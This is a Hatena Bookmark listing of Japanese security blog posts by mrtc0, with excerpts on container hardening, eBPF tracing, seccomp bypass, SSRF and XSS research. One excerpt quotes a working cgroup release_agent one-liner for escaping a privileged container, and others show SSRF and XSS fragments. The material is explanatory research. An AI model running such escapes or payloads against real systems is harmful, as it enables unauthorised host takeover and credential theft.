ブックマーク / blog.ssrf.in (29)

  • falco で特定のイベントを検知したら対応するインシデントプレイブックを自動で実行する

    セキュリティインシデントが発生した場合、事前に作成したワークフローやアクションプランに基づいて動くことで対応をスムーズに行うことができます。 インシデントにおいて、このワークフローやアクションプランのような対応手順書を「プレイブック」と呼ぶことが多く、インシデント発生時にプレイブックの実行を自動化することで、対応チームの負荷を下げることができます。 コンテナのセキュリティ監視ツールである falco を利用したインシデントレスポンス自動化ツールとして kubernetes-response-engine というものがあります。 これは Falco で検知したセキュリティイベントをメッセージブローカーである NATS から配信し、Kubernertes Serverless Framework である kubeless でそのイベントを受信、対応したプレイブックを実行するものです。 これによ

    falco で特定のイベントを検知したら対応するインシデントプレイブックを自動で実行する
    mrtc0
    mrtc0 2021/02/20
    書いた
  • procfs の hidepid オプションについて調べた

    profs の hidepid オプションの値 procfs のマウントオプションに hidepid というオプションがあることを知った。 man で確認すると 0~3 の値を取るらしい。 hidepid=n (since Linux 3.3) This option controls who can access the information in /proc/[pid] directories. The argument, n, is one of the following values: 0 Everybody may access all /proc/[pid] directories. This is the traditional behavior, and the default if this mount option is not specified. 1 Users

    procfs の hidepid オプションについて調べた
    mrtc0
    mrtc0 2020/08/23
    調べた。v5.8から hidepid=4とsubset=pidというオプションが追加されていた。
  • bpf(bcc) を使ってコンテナ内での execve をトレースする

    bpf(bcc) の簡単な使い方などについては 前回 書きました。 bpf は falco, sysdig, cilium など、Kubernetes 環境で使われるケースも増え、コンテナに対するトレース活用も多く出てきている印象があります。 ここでは bcc を使ってコンテナ内の execve をトレースする方法をメモしておきます。 Docker などのいわゆる Linux コンテナもホストからすると単なるプロセスにすぎないため、「そのプロセスがコンテナのプロセスであるか」ということを確認できれば、コンテナ限定でトレース可能になります。 「そのプロセスがコンテナのプロセスであるか」は pid namespace を見ればわかりそうです。 ls -al /proc/self/ns したときに表示される数字ですね。これは task->ns_proxy->pid_ns_for_children

    bpf(bcc) を使ってコンテナ内での execve をトレースする
    mrtc0
    mrtc0 2019/12/23
    書いた
  • cgroup の release_agent を使った特権コンテナからのエスケープ

    元ネタ : https://twitter.com/_fel1x/status/1151487051986087936 d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o — Felix Wilhelm (@_fel1x) July 17, 2019 特権( CAP_SYS_ADMIN )コンテナで cgr

    mrtc0
    mrtc0 2019/07/23
  • Kubernetes クラスタへの攻撃例とその対策

    Kubernetesセキュリティ周りを調べていたので、そのメモです。 間違いや追加の情報があれば @mrtc0 までお願いします。 Kubernetes Version 1.14.4 ServiceAccount Token の Auto Mount を無効する ServiceAccount の token や証明書は Pod 内の /var/run/secrets/kubernetes.io/serviceaccounts/ 配下に自動でマウントされるようになっています。 もし Pod が侵害された場合は Kubernetes API を操作されることになります。 root@ubuntu:/var/run/secrets/kubernetes.io/serviceaccount# pwd /var/run/secrets/kubernetes.io/serviceaccount ro

    mrtc0
    mrtc0 2019/07/22
    書いた(間違い、追加などあれば情報ください)
  • bccとUSDTを使ってMySQL/PostgreSQLのクエリログを取得する

    引越しをして落ち着き始めました。一人暮らしの頃の家電を replace する作業をしている。 よろしくおねがいします。 https://www.amazon.jp/hz/wishlist/ls/QH63MJIX20EA?ref_=wl_share USDT がどのように動作するのかについて調べ、USDT と eBPF(bcc) を使って様々なことができることを知ったのでメモがてら。 まずは USDT (User Statically-Defined Tracing) について簡単に述べる。 USDT はユーザースペースで動作しているアプリケーションに対し、オーバーヘッドを小さく簡単にデバッグを可能とするものだ。 これは DTrace で使われている技術で、元々は Solaris でカーネルに Probe と呼ばれるものを挿入し、Probe を通過した時点でユーザースペースの関数がコールバッ

    bccとUSDTを使ってMySQL/PostgreSQLのクエリログを取得する
    mrtc0
    mrtc0 2019/06/20
    書いた
  • 論文感想 : Embassies: Radically Refactoring the Web / REST-ler: Automatic Intelligent REST API Fuzzing / AcidRain: Concurrency Related Attacks on Database-Backed Web Applications

    論文感想 : Embassies: Radically Refactoring the Web / REST-ler: Automatic Intelligent REST API Fuzzing / AcidRain: Concurrency Related Attacks on Database-Backed Web Applications この先生きのこるためにも、アカデミックな内容も頭に入れていった方がいいなと思い始めたのと、単純に面白い内容が多く好奇心が満たされるので、毎月ちょっとずつ論文を軽く読み始めている。 せっかくなので感想みたいなのを書き留めていこうと思う。 Mendeley に PDF 突っ込んであれこれするほどではないので、ブログに書いていこうと思った次第。 Embassies: Radically Refactoring the Web https://www.u

    論文感想 : Embassies: Radically Refactoring the Web / REST-ler: Automatic Intelligent REST API Fuzzing / AcidRain: Concurrency Related Attacks on Database-Backed Web Applications
    mrtc0
    mrtc0 2019/02/17
  • 2018年振り返り

    発表 コンテナのセキュリティを中身から理解しよう - 九州セキュリティカンファレンス2018 コンテナの作り方、壊し方 - セキュリティミニキャンプ2018 in 愛媛 上記2つ。講演依頼の話が来たら引き受ける、という感じで CfP を出したりはしていなかったので、こんなものかな… 今年の「コンテナランタイム周辺のセキュリティをやっていく」という目標に対してハンズオンでの講義を行うことができるようになったので良しとしよう。 来年は CfP 出すなりもうちょっと登壇の機会を増やして名前を出していく必要があるかな。 仕事 今年新卒入社して6月にセキュリティ対策室に配属された。まだセキュリティ基盤が整っていない中、手探りで全力疾走したという感じ。低レイヤーでの技術支援やペパボでの働き方については同僚の @hiboma さんに非常に助けられた。 業務としては、脆弱性見つけたり、セキュリティ周りを支

    2018年振り返り
    mrtc0
    mrtc0 2019/01/11
    昨年の振り返りです。今年もやっていくぞ
  • Node.js における http モジュールでの Unicode の扱いと SSRF について

    ここで書く内容は blackhat USA 2017 で Orange Tsai 氏が発表した 「A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!」 で取り上げられていた内容を自分が改めて理解するために書き残したメモです。 概要 var base = "https://example.com/article/"; var path = req.query.path; if (path.indexOf("..") == -1) { http.get(base + path, callback); } 上記のようなコードのとき、 /?path=../passwd のようにアクセスして http.get() の処理に入り、 /article/../passwd を取得することはできるだろうか。

    Node.js における http モジュールでの Unicode の扱いと SSRF について
    mrtc0
    mrtc0 2018/11/14
  • dev.toのXSS | "><s>はい</s>

    先日 Pwned Together: Hacking dev.to という記事を見かけた。 dev.to ではブログ投稿機能において {% gist <gist url> %} という記法を使用することでいい感じに gist を挿入してくれるらしい。 html = <<~HTML <div class="ltag_gist-liquid-tag"> <script id="gist-ltag" src="#{@link}.js"></script> </div> HTML 上記記事ではドメインの正規表現不備を利用して gist.github.com 以外のドメインから読み込む XSS を紹介していた。 この修正後のコミットを見ると、イベントハンドラが削除できていないのでまだXSS可能であることがわかる。 {% gist https://gist.github.com/mrtc0/bfbdd

    dev.toのXSS | "><s>はい</s>
    mrtc0
    mrtc0 2018/09/30
  • SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例

    電気が送電されました!万歳!! 9/8が誕生日なのでお待ちしております。 http://amzn.asia/azuF53V 先日、以下のような記事を見た。 EC2上のAWS CLIで使われている169.254について EC2では、インスタンス内から http://169.254.169.254/ にアクセスすると、そのインスタンスに関する情報が取得できるようになっている。 そのため、SSRF脆弱性が存在し、レスポンスをユーザーに表示しているような場合には、http://169.254.169.254/latest/meta-data/iam/security-credentials/ にアクセスされることで、AWSのクレデンシャルを不正に取得される。 SSRFについてはここでは解説しない。以下の記事などを参照してほしい。 What is Server Side Request Forger

    SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例
    mrtc0
    mrtc0 2018/09/05
  • aa_change_onexec がどのように動作するか

    libapparmor に AppArmor のプロファイルの適用などに関するライブラリが用意されている。その中に execve のタイミングでプロファイルを変更する aa_change_onexec というものがある。 https://gitlab.com/apparmor/apparmor/blob/master/libraries/libapparmor/src/kernel.c#L481 これがどのように適用されるのか調べたのでメモ。 setprocattr を見ればわかるとおり、内部的には /proc/self/attr/exec に exec <profilename> を書き込んでいる。 ... ctl = procattr_path(tid, attr); if (!ctl) goto out; fd = open(ctl, O_WRONLY); if (fd == -1)

    aa_change_onexec がどのように動作するか
    mrtc0
    mrtc0 2018/08/29
  • ネットワーク経由で取得した共有ライブラリをファイルを作成せずに読み込む

    夏休み突入でぇ~す!(CV: 門脇舞以) → 終了、了解! 皆さんはネットワーク経由からローカルにファイルを作成せずに共有ライブラリを読み込みたいと思ったことはありませんか? 僕はありません。 共有ライブラリのロード まずは普通に共有ライブラリをロードしてみる。以下のような共有ライブラリを用意する。 #include <stdio.h> void __attribute__ ((constructor)) hello_init(void); void hello_init(void) { fprintf(stdout,"[+] Hello!\n"); }

    ネットワーク経由で取得した共有ライブラリをファイルを作成せずに読み込む
    mrtc0
    mrtc0 2018/08/21
  • seccompによる制限下にある特権コンテナで breakout する | "><s>はい</s>

    前回 は CAP_DAC_READ_SEARCH が許可されている状態で open_by_handle_at を利用することでホスト側のファイルを読み出したり、シェルを取得するなどした。 このとき、seccomp で open_by_handle_at が禁止されている場合は Operation not permitted で失敗する。 [root@b8bf54fb1c48 tmp]# ./a.out failed to open_by_handle_at: Operation not permitted しかし、このエントリ で書いたように、ptrace を使用することで seccomp による制限は回避することができる。 環境 今回は明示的に seccomp で open_by_handle_at を拒否し、DAC_READ_SEARCH を許可した Docker コンテナで試した。

    seccompによる制限下にある特権コンテナで breakout する | "><s>はい</s>
    mrtc0
    mrtc0 2018/08/19
  • 簡易 strace を作ってシステムコールを表示する

    いつまで経っても親知らずが人間から失われないの、歯医者業界との癒着か? strace は ptrace(2) でプロセスを監視することで呼び出されるシステムコールとその引数を表示している。 ここでは簡易的な strace を作成してシステムコールを表示してみる。 どのようにシステムコールを追いかけるか 今回は任意のプロセスにアタッチするのではなく、引数として与えた文字列を execvp してシステムコールを表示してみる。 システムコールを逐次表示していく手順としては以下のようになる。 fork(2) して子プロセスの中で execvp する。 子プロセスでは ptrace(PTRACE_TRACEME, 0, NULL, NULL) によって親プロセスでトレースを行わせる。 親プロセスでは waitpid で状態が変化するまで待ち、ptrace(PTRACE_GETREGS, pid, N

    簡易 strace を作ってシステムコールを表示する
    mrtc0
    mrtc0 2018/08/19
  • open_by_handle_at(2) でコンテナから Break Out する

    俺たちの夏休みはこれからだ!(今日が最終日) 前回は ptrace を使用して seccomp による制限を回避してみた 。 今回は seccomp とコンテナの関係、コンテナからホストへの break out についてのメモです。メモなので雑に書いています。 コンテナと seccomp LXCDocker でも seccomp が利用されており、コンテナを break out する危険があるようなシステムコールを禁止している。 LXCでは非常に小さなポリシーとなっている(これとは別でどこかで自動生成されているのかな…?) https://github.com/lxc/lxc/blob/b96e9ae47aff9a722e1e900851a389b4dd0b4222/config/templates/common.seccomp 2 blacklist reject_force_um

    open_by_handle_at(2) でコンテナから Break Out する
    mrtc0
    mrtc0 2018/08/19
  • ptrace を使用して seccomp による制限を回避してみる

    オススメ整体 or マッサージ情報を募集しています。 前回 は ptrace を使用して簡易的な strace を作成した。 同様にシステムコールの監視を行うものといえば seccomp だ。 seccomp によって特定のシステムコールは呼び出しが禁止されるが、ptrace によって回避することができる。 seccomp のドキュメント には次のような記述がある。 The seccomp check will not be run again after the tracer is notified. (This means that seccomp-based sandboxes MUST NOT allow use of ptrace, even of other sandboxed processes, without extreme care; ptracers can use

    ptrace を使用して seccomp による制限を回避してみる
    mrtc0
    mrtc0 2018/08/18
  • CSPの違反レポートを Slack に送信する

    夏休み前半は実家で過ごしていたので、そこそこ健康的な生活を送っていたが、東京に戻ってきた途端生活リズムが崩壊し体調が無。 CSPの違反レポートを Report URI で受け取っていたが、わざわざブラウザのタブを開いてダッシュボードを見るのが面倒くさいので、一生CSPの設定を見直さないという感じになっていた。 この問題を解決するべく、Slack の Incoming Webhook を利用して自分の Slack に送信するようにしたら便利っぽい感じになったので、これでしばらくやってみる。 mrtc0/csp-server - GitHub

    CSPの違反レポートを Slack に送信する
    mrtc0
    mrtc0 2018/08/16
  • PHP Extension を作って関数をフックしてみる

    夏休みに観る Netflix オススメ映画を募集しています。 PHP Extension で sha1() をフックして引数を表示するところまでやってみたのでメモ。 1. PHP Extension を作る準備 PHPのソースコード一式を落としてきてコンパイルする。 $ cd ext $ ./ext_skel --extname=hook Creating directory hook Creating basic files: config.m4 config.w32 .gitignore hook.c php_hook.h CREDITS EXPERIMENTAL tests/001.phpt hook.php [done]. To use your new extension, you will have to execute the following steps: 1. $ cd

    PHP Extension を作って関数をフックしてみる
    mrtc0
    mrtc0 2018/08/03
  • Burp Suite Professional を購入した

    身体中にジンギスカンの匂いが染み付いている。メェ〜 アルバイト時代に Burp Suite の Professional 版を使用していたせいで、Community 版では我慢できない身体になった。 Scanner を使いたいというより State を保存したい、CSRF の PoC などをシュッと自動生成したいなどの細かなところが欲しいという感じ。 ちょうど脆弱性報奨金で $600 USD もらったばかりだったので、エイやと購入。 価格は1年間のライセンスで $349 USD だったので意外とお安い。というか毎年、脆弱性を1,2 個報告すればいいだけなので実質無料。 とりあえず Community 版の証明書を import して、いつも使ってる Extender をポチポチインストールして終わり。

    Burp Suite Professional を購入した
    mrtc0
    mrtc0 2018/07/17